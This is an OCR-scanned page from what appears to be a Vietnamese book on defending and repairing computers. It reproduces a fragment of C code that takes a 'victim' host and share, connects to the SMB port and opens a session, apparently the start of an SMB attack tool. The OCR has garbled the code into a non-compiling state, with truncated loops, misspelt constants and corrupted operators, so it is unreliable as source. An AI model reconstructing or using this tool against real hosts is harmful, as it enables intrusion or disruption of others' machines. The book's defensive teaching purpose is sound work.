Page 122 - Hướng Dẫn Cách Phòng Thủ Và Khắc Phục Sự Cố Máy Tính
P. 122

printf ("hostname: Target host (ex:
       127.0.0. l)\nremoteshare; Target share (ex:

       //victim/c)\n\n");
       exit (1);
       }
       strncpy (share, argv[2],  100);
       for(i=0); i
       if (share[i]= = '!') share [i] = '\V;
       else share [i]=toupper (share[i]);
       hp=gethostbyname (argv[l]);

       if (hp— NULL) return -1;
       memset ((char *) &sin, 0, sizeof (sin));
       bcopy (hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
       sin.sin_family=hp-H^h_addrtype;
       sin.sin_port=htons (SMBPORT);

       sock=socket (AF_INET, SOCK_STRAM, 0);
       if (sock = = -1)
       {
       printf ("Unable to create socket.Xn");
       return -1;

       }
       if (connect (sock,  (struct sockaddr *) &sin,  sizeof (sin))
   ==-l)

       {
       printf ("Unable to connect.Xn");
       exit (0);
       }
       if  (request_new_session(sock)!=0xffffff82)  //  thats  the
   way i like it


                                                                 123
   117   118   119   120   121   122   123   124   125   126   127